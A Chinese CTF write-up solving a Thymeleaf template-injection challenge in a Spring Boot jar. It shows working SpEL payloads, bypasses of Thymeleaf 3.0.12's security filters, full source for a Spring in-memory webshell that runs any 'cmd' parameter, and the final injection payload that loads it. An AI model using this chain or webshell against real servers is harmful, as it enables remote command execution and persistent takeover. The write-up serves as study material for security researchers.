概述

参加了网鼎玄武组的CTF,有道题挺有意思。这道题目给了一个压缩包,解压后有个findIT.jar 文件,然后题目里还提示了机器不出网。

主要考察了以下几个方面:
1、thymeleaf SSTI 漏洞原理
2、thymeleaf SSTI漏洞修复绕过技巧
3、Spring内存马编写
4、Apache Tomcat 9 url 包含特殊字符,例如 /、[]处理与替代
5、调试jar 文件

打开后发现这个是经典的springboot 项目,里面的IndexController还是比较清晰的。

开始以为是/path路由下的Fragment 可控下存在SPEL注入,但是用了@ResponseBody 注解,所以这里不存在漏洞。往下看/doc/{data}这个路由没有使用@ResponseBody 进行注解,因此即使没有return 情况下也是可注入的。但由于没有返回提示信息,因此这道题给了jar包让我们调试,不然难度又上一个台阶。
知道了漏洞触发点,接下来开始本地运行下看看情况。

一、thymeleaf SSTI 漏洞及绕过

http://127.0.0.1:8080/doc/__$%7BT(java.lang.Runtime).getRuntime().exec(%22id%22)%7D__::.x

发现控制台报了下面的错误, View name is an executable expression, and it is present in a literal manner in request path or parameters, which is forbidden for security reasons.

原来这道题的应用依赖thymeleaf 3.0.12 版本,查阅了下官方文档,这个版本做了一下安全提升,主要有以下两个方面。

尤其是第2个,描述了当从URL中获取视图名称时如果有fragment表达式会避免执行。(具体代码分析可参考@panda 师傅博客 https://www.cnpanda.net/sec/1063.html)里面提到了2个绕过技巧,分别是/path;/payload 和//path/payload ,这里我发现了也可以用/path/;/payload(和shiro权限绕过漏洞很相似)。因此上面的payload就变为
http://127.0.0.1:8080/doc/;/__$%7BT(java.lang.Runtime).getRuntime().exec(%22id%22)%7D__::.x
然后又抛出了新的异常
Invalid template name specification

我之前分析thymeleaf Fragment 注入的文章 https://xz.aliyun.com/t/9826 里有提到viewName和Fragment ,由于这道题里没有return 这两个中的任何一个,所以我们要补全Fragment—即:
${T(java.lang.Runtime).getRuntime().exec("id")}::main.x
这回又又报了新的错误

因此涉及到T这个关键字绕过,参考了三梦师傅提的issue(https://github.com/thymeleaf/thymeleaf-spring/issues/256) ,在T后面添加空格%20。因此新的paylaod 就变成了
http://127.0.0.1:8080/doc/;/__$%7BT%20(java.lang.Runtime).getRuntime().exec(%22id%22)%7D__::main.x

页面上虽然显示500 错误但从console 打印的日志可以看出来的确已经执行成功了。

由于页面上没有展示错误详细信息,也无法将命令执行结果写入静态资源文件,并且机器不出网,所以只能考虑在应用上注入内存回显马,读取flag回显结果。

二、Spring通用回显内存马改造

这里参考了 spring-cloud-function 的一些memshell的payload。参考了 LandGrey 师傅的文章 https://www.anquanke.com/post/id/198886 使用registerMapping注册了一个 requestMapping,参考c0ny1 师傅的文章https://gv7.me/articles/2022/the-spring-cloud-gateway-inject-memshell-through-spel-expressions 里面的 SpringRequestMappingMemshell 代码,但由于这道题里面并没有用Spring cloud gateway 组件,所以原代码中利用org.springframework.web.reactive.HandlerMapping 来注册registerHandlerMethod就会报错找不到对应的类,于是改造了下SpringRequestMappingMemshell代码来适配最基础通用的Spring Memshell。

使用registerMapping 注册路径为"/*"的RequestMapping,看下registerMapping 的原型函数

public void registerMapping(T mapping, Object handler, Method method) {
        if (this.logger.isTraceEnabled()) {
            this.logger.trace("Register \"" + mapping + "\" to " + method.toGenericString());
        }

        this.mappingRegistry.register(mapping, handler, method);
    }

因此只要把我们编写的恶意方法executeCommand注册进去就可以了。
registerMapping.invoke(requestMappingHandlerMapping, requestMappingInfo, new SpringRequestMappingMemshell(), executeCommand);
最后改造后的代码如下:

public class SpringRequestMappingMemshell {
    public static String doInject(Object requestMappingHandlerMapping) {
        String msg = "inject-start";
        try {
            Method registerMapping = requestMappingHandlerMapping.getClass().getMethod("registerMapping", Object.class, Object.class, Method.class);
            registerMapping.setAccessible(true);
            Method executeCommand = SpringRequestMappingMemshell.class.getDeclaredMethod("executeCommand", String.class);
            PatternsRequestCondition patternsRequestCondition = new PatternsRequestCondition("/*");
            RequestMethodsRequestCondition methodsRequestCondition = new RequestMethodsRequestCondition();
            RequestMappingInfo requestMappingInfo = new RequestMappingInfo(patternsRequestCondition, methodsRequestCondition, null, null, null, null, null);
            registerMapping.invoke(requestMappingHandlerMapping, requestMappingInfo, new SpringRequestMappingMemshell(), executeCommand);
            msg = "inject-success";
        }catch (Exception e){
            e.printStackTrace();
            msg = "inject-error";
        }
        return msg;
    }

    public ResponseEntity executeCommand(@RequestParam(value = "cmd") String cmd) throws IOException {
        String execResult = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
        return new ResponseEntity(execResult, HttpStatus.OK);
    }

三、利用SPEL 漏洞加载加载上面的恶意类

这部分参考LandGrey 师傅的技巧,使用org.springframework.cglib.core.ReflectUtils#defineClass方法,只要传入 类名、类的字节码字节数组 和 类加载器就可以加载恶意类。
SpringRequestMappingMemshell#doInject() 方法需要传入bean 对象,注意每个T后面都有空格(为了绕过上一步中的T关键字检查)。

T (org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT",0).getBean(T (Class).forName("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping"))

等效于下面的代码

WebApplicationContext context = (WebApplicationContext) org.springframework.web.context.request.RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(Class.forName("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping"));
//这里为什么用decodeFromUrlSafeString 下面会写到
T (org.springframework.cglib.core.ReflectUtils).defineClass("SpringRequestMappingMemshell",T (org.springframework.util.Base64Utils).decodeFromUrlSafeString("SpringRequestMappingMemshell.class的UrlSafebase64编码"),new javax.management.loading.MLet(new java.net.URL[0],T (java.lang.Thread).currentThread().getContextClassLoader())).doInject(T (org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT",0).getBean(T (Class).forName("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping")))

四、Apache Tomcat 9 url 包含特殊字符处理与替代技巧

上一步中虽然已经写出了比较完整的payload,但是发现依然不能直接使用。这是因为题目里上述的payload 是在请求的路径上(/doc/payload),当包含了一些特殊字符后会发现tomcat 会报400错误和404错误。

404错误:payload 里包含了/ ,tomcat 会认为这是一个路径关键字,会找对应的路由,找不到就会报404。

若强制给编码成%2F会报400错误

由于SpringRequestMappingMemshell 编译后的class 文件经过base64后里面可能会有/ 这个字符,因此要使用org.springframework.util.Base64Utils.encodeToUrlSafeString 先将SpringRequestMappingMemshell.class 处理成能够用在url 传输的base64编码。然后再使用org.springframework.util.Base64Utils.decodeFromUrlSafeString 进行解码操作。


400:payload 中包含[ ] 特殊字符,需要URL编码一下-> %5B和%5D

另外payload 里面的java.net.URL[0] 也可以用java.net.URL("http","127.0.0.1","1.txt")进行替代,这个随便写就行不影响。

五、thymeleaf 过滤new 关键字处理

通过前面四步已经是比较完整的payload 了,但是还是继续报Invalid template name specification 错误,通过调试jar后最终发现还是thymeleaf 3.0.12 containsSpELInstantiationOrStatic 这个函数进行了过滤所导致的,让你不能使用new 这个关键字。因此我使用了NeW 大小写进行了绕过。

六、成品

__${T (org.springframework.cglib.core.ReflectUtils).defineClass("SpringRequestMappingMemshell",T (org.springframework.util.Base64Utils).decodeFromUrlSafeString("SpringRequestMappingMemshell.class的UrlSafebase64编码"),nEw javax.management.loading.MLet(NeW java.net.URL("http","127.0.0.1","1.txt"),T (java.lang.Thread).currentThread().getContextClassLoader())).doInject(T (org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT",0).getBean(T (Class).forName("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping")))}__::main.x

页面上虽然还是显示500错误,但从控制台上是可以看出已经注入成功了。注入成功后会有"inject-success"这个字符串,注入失败会是 "inject-error"。

然后浏览器上请求任意不存在的路径

七、总结

网鼎的这道题小巧而不简单,考察的知识点还是挺多的。我又要要去学习Java 了~

点击收藏 | 3 关注 | 1 打赏
登录 后跟帖